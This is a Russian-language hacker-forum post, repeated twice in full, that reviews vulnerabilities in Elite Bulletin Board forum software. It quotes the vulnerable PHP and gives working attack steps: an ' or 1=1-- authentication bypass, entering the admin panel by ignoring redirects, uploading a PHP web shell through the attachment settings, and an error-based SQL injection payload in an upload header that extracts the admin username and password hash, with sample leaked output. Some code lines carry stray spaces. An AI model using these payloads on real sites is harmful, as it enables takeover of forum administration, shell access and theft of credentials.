m0Hze
18.06.2010, 02:11
[Обзор уязвимостей Elite Bulletin Board]
Site: http://elite-board.us/Community/
Обход авторизации в Админ Панель + Blind SQL-Inj
[Need: mq=off]
Уязвимость позволяет зайти в админ панель,и произвольно изменять настройки форума.
File: /acp/*.php
if (($access_level==2) or ($stat=="Member") or ($stat=="guest") or ($access_level==3)){
header("Location:$board_address/index.php");
}
...
if (isset($_COOKIE['ebbacpu']) and (isset($_COOKIE['ebbacpp']))){
#see if cookie value belongs to a user on the roster.
$chk_user=user_check($_COOKIE['ebbacpu'],$_COOKIE['ebbacpp']);
$admin_check=admin_verify($_COOKIE['ebbacpu'],$_COOKIE['ebbacpp']);
if(($chk_user==0) or ($admin_che ck==false)){
$error="INVALID COOKIE OR SESSION!";
echoacp_error($error,"error");
}
}else{
#go to login page.
header("Location: acp_login.php");
}
functionuser_check($user,$pass){
global$db,$txt;
if ((empty($user)) and (empty($pass))){
die($txt['invalidprofile']);
}else{
$db->run="SELECT id FROM ebb_users WHERE Username='$use r' and Password='$pass'";
$chk_user=$db->num_results();
$db->close();
}
return ($chk_user);
}
Автор форума, забыл поставить Die(); после перенаправлений, что дает нам шанс выполнить SQL-inj и что-нибудь вытащить или обойти авторизацию и войти в админ-панель, и изменять там что хотим. Я приведу пример с выводом информации, через эту sql-inj, крутить будем как слепую. Простейший сплойт выглядит так:
Чуть выше сообщения об ошибке увидим:
Failed to query the database
Duplicate entry 'admin:16303208725e5fcc2ae273ba3e7679ef1' for key 'group_key'
Line: 29
File: D:\xampp\htdocs\bugs\ebbv2\includes\db.php
Тут все осложняется тем, что чтобы сбрутить пароль админу, нужно знать соль, которая вшита в config.php в виде константы, которая принимает рандомное значение во время установки форума.
Но брутить соль не обязательно, в админку можно зайти с помощью той же скули. Просто сменим тактику.
(!) Можно и без скули, читаем ниже.
$exploit=' or 1=1--+';
Совсем забыл откомментировать, что в админку так же можно попасть, просто не передавай кукисы. Придется обойти хидеры, принудительно их отключив в браузере или же скриптом. И после захода на страницы админки, мы будем видеть то же, что бы мы увидели при заходе админским акком.
И уже строя разнообразные post-запросы, мы сможем получать-изменять данные из админки, как если бы мы просто зашли в нее по логин-паролю.
Загрузка Шелла
В амдинке идем в Setting Menu-> Attachment Setting
Вбиваем расширение "php", надимаем Add extinsion.
Создаем пост, и прикрепляем к нему наш файл. Файл будет в upload/shellname.php никаких htaccess'ов там нет.
SQL-INJ
[Need: account,mq=off]
File: /upload.php
$file_name=$_FILES['attachment']['name'];
$file_type=$_FILES['attachment']['type'];
$file_size=$_FILES['attachment']['size'];
$file_temp=$_FILES['attachment']['tmp_name'];
$file_ext=strtolower(substr(strrchr($file_name,"."),1));
...
if(move_uploaded_file($file_temp,$uploadpath)) {
#add attachment to db for listing purpose.
$db->run="insert into ebb_attachments (Username, Filenam e, File_Type, File_Size) values ('$logged_user ', '$file_name', '$file_type', '$file_size')";
$db->query();
$db->close();
#go back to orginsl location.
header("Location: upload.php?bid=$bid");
Target: Крутим как слепую
Target: http://host/upload.php?mode=upload
Content-Disposition: form-data; name="file"; filename=""\r\n
Content-Type: application/octet-stream'or+(select+*+from+(select+count(*)+from+(se lect+1+union+select+2+union+select+3)r+group+by+co ncat((select+concat_ws(0x3a,username,password)+fro m+ebb_users+where+id=1),floor(rand(0)*2)))u)--+\r\n
Site: http://elite-board.us/Community/
Обход авторизации в Админ Панель + Blind SQL-Inj
[Need: mq=off]
Уязвимость позволяет зайти в админ панель,и произвольно изменять настройки форума.
File: /acp/*.php
if (($access_level==2) or ($stat=="Member") or ($stat=="guest") or ($access_level==3)){
header("Location:$board_address/index.php");
}
...
if (isset($_COOKIE['ebbacpu']) and (isset($_COOKIE['ebbacpp']))){
#see if cookie value belongs to a user on the roster.
$chk_user=user_check($_COOKIE['ebbacpu'],$_COOKIE['ebbacpp']);
$admin_check=admin_verify($_COOKIE['ebbacpu'],$_COOKIE['ebbacpp']);
if(($chk_user==0) or ($admin_che ck==false)){
$error="INVALID COOKIE OR SESSION!";
echoacp_error($error,"error");
}
}else{
#go to login page.
header("Location: acp_login.php");
}
functionuser_check($user,$pass){
global$db,$txt;
if ((empty($user)) and (empty($pass))){
die($txt['invalidprofile']);
}else{
$db->run="SELECT id FROM ebb_users WHERE Username='$use r' and Password='$pass'";
$chk_user=$db->num_results();
$db->close();
}
return ($chk_user);
}
Автор форума, забыл поставить Die(); после перенаправлений, что дает нам шанс выполнить SQL-inj и что-нибудь вытащить или обойти авторизацию и войти в админ-панель, и изменять там что хотим. Я приведу пример с выводом информации, через эту sql-inj, крутить будем как слепую. Простейший сплойт выглядит так:
Чуть выше сообщения об ошибке увидим:
Failed to query the database
Duplicate entry 'admin:16303208725e5fcc2ae273ba3e7679ef1' for key 'group_key'
Line: 29
File: D:\xampp\htdocs\bugs\ebbv2\includes\db.php
Тут все осложняется тем, что чтобы сбрутить пароль админу, нужно знать соль, которая вшита в config.php в виде константы, которая принимает рандомное значение во время установки форума.
Но брутить соль не обязательно, в админку можно зайти с помощью той же скули. Просто сменим тактику.
(!) Можно и без скули, читаем ниже.
$exploit=' or 1=1--+';
Совсем забыл откомментировать, что в админку так же можно попасть, просто не передавай кукисы. Придется обойти хидеры, принудительно их отключив в браузере или же скриптом. И после захода на страницы админки, мы будем видеть то же, что бы мы увидели при заходе админским акком.
И уже строя разнообразные post-запросы, мы сможем получать-изменять данные из админки, как если бы мы просто зашли в нее по логин-паролю.
Загрузка Шелла
В амдинке идем в Setting Menu-> Attachment Setting
Вбиваем расширение "php", надимаем Add extinsion.
Создаем пост, и прикрепляем к нему наш файл. Файл будет в upload/shellname.php никаких htaccess'ов там нет.
SQL-INJ
[Need: account,mq=off]
File: /upload.php
$file_name=$_FILES['attachment']['name'];
$file_type=$_FILES['attachment']['type'];
$file_size=$_FILES['attachment']['size'];
$file_temp=$_FILES['attachment']['tmp_name'];
$file_ext=strtolower(substr(strrchr($file_name,"."),1));
...
if(move_uploaded_file($file_temp,$uploadpath)) {
#add attachment to db for listing purpose.
$db->run="insert into ebb_attachments (Username, Filenam e, File_Type, File_Size) values ('$logged_user ', '$file_name', '$file_type', '$file_size')";
$db->query();
$db->close();
#go back to orginsl location.
header("Location: upload.php?bid=$bid");
Target: Крутим как слепую
Target: http://host/upload.php?mode=upload
Content-Disposition: form-data; name="file"; filename=""\r\n
Content-Type: application/octet-stream'or+(select+*+from+(select+count(*)+from+(se lect+1+union+select+2+union+select+3)r+group+by+co ncat((select+concat_ws(0x3a,username,password)+fro m+ebb_users+where+id=1),floor(rand(0)*2)))u)--+\r\n